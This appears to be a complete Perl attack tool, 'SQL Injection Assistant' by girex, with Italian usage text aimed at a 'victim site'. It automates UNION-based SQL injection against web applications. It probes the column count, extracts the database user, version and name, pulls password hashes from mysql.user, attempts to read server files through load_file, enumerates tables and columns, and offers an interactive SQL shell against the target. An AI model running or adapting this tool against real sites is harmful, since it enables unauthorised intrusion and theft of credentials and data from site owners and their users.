#!/usr/bin/perl # SQL Injection Assistant v0.1 by girex 31/03/09 # Homepage: girex.altervista.org use Getopt::Long; use LWP::UserAgent; my $lwp = new LWP::UserAgent; my ($target_url, $bugged_var, $n_columns, $post_data, $cookie_data, $help, $proxy) = (); my $match = "gir3x-t00l"; GetOptions( 'proxy=s' => \$proxy, 'u=s' => \$target_url, 'v=s' => \$bugged_var, 'n=i' => \$n_columns, 'p=s' => \$post_data, 'c=s' => \$cookie_data, 'h' => \$help ); help() and exit if defined $help or not ($target_url and $bugged_var); banner(); my $target = $target_url; $target .= "?" unless $target_url =~ /http:\/\/.*\/.*\?/; $lwp->default_header('Cookie' => $cookie_data) if defined $cookie_data; $lwp->proxy('http', $proxy) or die "\nBad proxy" if defined $proxy; $lwp->timeout(10); my @quotes = ("1", "1'", '1"', "", "'", '"'); # .. "1)", "1')", '1")' ecc. add if need if(defined $post_data) { %post_hash = make_hash($post_data); } $| = 1; print "\nTesting if $target_url is vulnerable...\n\n"; if(defined $n_columns) { $g_pos = make_test($n_columns); } else { find_ncol(); } if(not defined $g_pos) { print "\n", "-" x 40, "\n"; print "\nThere are some problems with the injection\n". "tool attemped something like this and it seems to be not vulnerable:\n\n". "GET: ${target}&${bugged_var}=${inj}\n\n"; print "POST: ${post_data}&${bugged_var}=${inj}\n" if(defined $post_data); print "\n", "-" x 40, "\n"; exit; } print "Vulnerable to ${bugged_var}=${inj}\n\n", "-" x 40, "\n\n"; my $dbuser = sql_select("USER()"); my $dbversion = sql_select("VERSION()"); my $db_name = sql_select("DATABASE()"); print "User: " . $dbuser . "\n"; print "MySQL version: " . $dbversion . "\n"; print "Database name: " . $db_name . "\n"; if(sql_select(1, "mysql.user")) { print "Priviledge to access to mysql.user: yes\n\n"; $_dbuser = $1 if $dbuser =~ /(\w+)@/; if($pass = sql_select("Password", "mysql.user", "User='${_dbuser}'")) { print "User: $_dbuser\nPassword: $pass\n\n"; } else { print "Seems that user $dbuser doesn't has a password!\n\n"; } } else { print "Priviledge to access to mysql.user: no\n\n"; } print "Trying to load_file /etc/passwd.. "; ($loadfile = sql_select("load_file('/etc/fstab')")) ? print "SUCCESS\n\n" .$loadfile. "\n\n": print "FAILED\n\n"; if( sql_select("1", "information_schema.tables") ) { print "Retrieving tables of ${db_name}...\n\n"; my @tables = tables_info($db_name); print "\nVisualizzare le colonne di una tabella? y/n "; chomp(my $ans = <>); if($ans =~ /^y|yes$/i) { do { print "\nShow columns of table: "; chomp($tb = <>); print "Error: $tb is not in the tables's list!\n" if not in_array($tb, @tables); } while (not in_array($tb, @tables)); @columns = columns_info($tb); } } else { print "Failed to access to information_schema. It doesn't exists.\n"; } print "\nObtained a SQL \"command line shell\"\.\n"; print "You can select only 1 field or function (ex. load_file(), concat()).\n"; print "Type exit to quit from shell and terminate script.\n\n"; sql_shell(); sub sql_shell() { my @query = (); while(1) { my @query = (); print "SELECT> "; chomp(my $uselect = <>); exit if $uselect =~ /^exit$/i; print "FROM> (press enter if none) "; chomp(my $ufrom = <>); print "WHERE> (press enter if none) "; chomp(my $uwhere = <>); print "LIMIT> (press enter if none) "; chomp(my $ulimit = <>); print "\n\nQuery: SELECT $uselect "; push(@query, $uselect); print "FROM $ufrom " and push(@query, $ufrom) if $ufrom; print "WHERE $uwhere " and push(@query, $uwhere) if $uwhere; if($ulimit) { print "LIMIT $ulimit"; if(not $uwhere) { push(@query, undef); push(@query, $ulimit); } else { push(@query, $ulimit); } } print "\nOutput: \n\n", sql_select( @query ), "\n\n"; } } sub find_ncol() { my $i = 1, $n = 1; $g_pos = undef; do { print STDOUT "Testing UNION with $i columns...\r"; $n_columns = $i; $g_pos = make_test($i); $i++; if( $i > 30 * $n and not $g_pos) { print "No results with ", $i * ($n - 1) + 1, " to ", $i * $n - 1, " columns. Continue for other 30? y/n "; chomp(my $ans = <>); print "\n" x 2; if($ans =~ /^y|yes$/i) { $n++; } else { print "Error: SQL Injection failed!\n" and exit if not $g_pos; last; } } } while( not $g_pos ); } sub columns_info() { my $i = 0; my $tb_name = shift; my @rv_columns = (); do { $c_name = sql_select("column_name", "information_schema.columns", "table_name='${tb_name}'", "${i},1", $g_pos); if(defined $c_name) { print STDOUT "\n", $c_name; push(@rv_columns, $c_name); } $i++; } while(defined $c_name); print "\n" x 1; return @columns; } sub tables_info() { my $i = 1, $n = 1; my $dbname = shift; my @rv_tables = (); if($dbname !~ /DATABASE\(\)/i) { $dbname = "'". $dbname ."'"; } my $count = sql_select("COUNT(*)", "information_schema.tables", "TABLE_SCHEMA=${dbname}"); if($count > 30) { print "Trovate $count tabelle nel db $db_name\n", "Verranno visualizzate le prime 30:\n\n"; } do { $tb_name = sql_select("table_name", "information_schema.tables", "TABLE_SCHEMA=${dbname}", "${i},1"); if(defined $tb_name) { print STDOUT $tb_name, "\n"; push(@rv_tables, $tb_name); } $i++; if($i > $n * 30) { $n++; print "\nVisualizzare le prossime 30? [y/n] "; chomp($ans = <>); print "\n"; $tb_name = undef if $ans =~ /^n|no$/i; } } while(defined $tb_name); return @rv_tables; } sub sql_select(@) { my $r_select = undef; our $inj = make_inj( @_ ); if(defined $post_data) { $post_hash{$bugged_var} = $inj; $res = $lwp->post($target ."&${bugged_var}=${inj}", %post_hash); } else { $res = $lwp->get($target."&${bugged_var}=${inj}");#, %post_hash); } if($res->is_success) { $r_select = $1 if $res->content =~ /gir3x-t00l(.+)gir3x-t00l/; if($res->content =~ /gir3x-t00l/ and $res->content !~ /gir3x-t00l(.+)gir3x-t00l/) { my $out = $res->content; my $_out = substr($out, index($out, 'gir3x-t00l') + 10); my $n = index($_out, 'gir3x-t00l'); my $__out = substr($_out, 0, $n); $r_select = $__out; } } else { print $res->status_line, "\n"; exit; } return $r_select; } sub make_test() { my $n_col = shift; $n_columns = $n_col; for(my $i = 0; $i < $n_col; $i++) { foreach $q(@quotes) { $quote = $q; return $i if sql_select('1', undef, undef, undef, $i); } } return undef; } sub make_hash() { my %hash = (); my $data = shift; @vars = split('&', $data); foreach $v(@vars) { ($key, $value) = split('=', $v); $hash{$key} = $value; } return %hash; } sub make_inj() { my $str = undef; my ($select, $from, $where, $limit, $pos) = @_; $pos = $g_pos if not defined $pos; if($select =~ /(.*)['|"](.*)['|"](.*)/) { $select = $1 .hex_str( $2 ). $3; } if($where =~ /(.*)['|"](.*)['|"](.*)/) { $where = $1 .hex_str( $2 ). $3; } $str = "${quote} AND 0 UNION ALL SELECT "; for(my $i = 0; $i < $n_columns; $i++) { $str .= ($i == $pos) ? "concat(". hex_str($match).",${select},".hex_str($match).")" : "$i"; $str .= ',' unless $i == $n_columns - 1; } $str .= " FROM ${from} " if defined $from; $str .= "WHERE ${where} " if defined $where; $str .= "LIMIT ${limit}" if defined $limit; $str .= "%23"; return $str; } sub in_array() { my $find = shift; my @array = @_; foreach $x(@array) { return 1 if $tb eq $x; } return undef; } sub hex_str() { return '0x'. unpack("H*", shift); } sub banner { print "\n", "-" x 40, "\n\nSQL Injection Assistant v0.1 by girex\n\n", "-" x 40, "\n"; } sub help { banner(); print qq( usage: perl $0 -u [target_url] -v [bugged_var] -n [columns_number] [OPTIONS] example: perl $0 -u http://localhost/index.php?module=forum -v id -n 14 ATTENZIONE! I parametri -u, -v sono OBBLIGATORI! E' tuttavia raccomandato specificare anche il parametro -n -u : usare questo parametro per specificare l'url del sito vittima example: -u http://localhost/index.php?module=forum -v : usare questo parametro per specificare la variabile buggata GET o POST example: -v forum_id -n : usare questo parametro per specificare il numero di colonne della UNION example: -n 11 -p : usare questo parametro per mandare dati aggiuntivi via POST example: -p order=ALL&Submit=invia -c : usare questo parametro per mandare dati aggiuntivi via COOKIE example: -c memberid=1; membercookie=Fshsj; -proxy: usare questo parametro per utilizzare un proxy example: -proxy 89.89.89.89:80 ); print "\n", "-" x 40, "\n"; }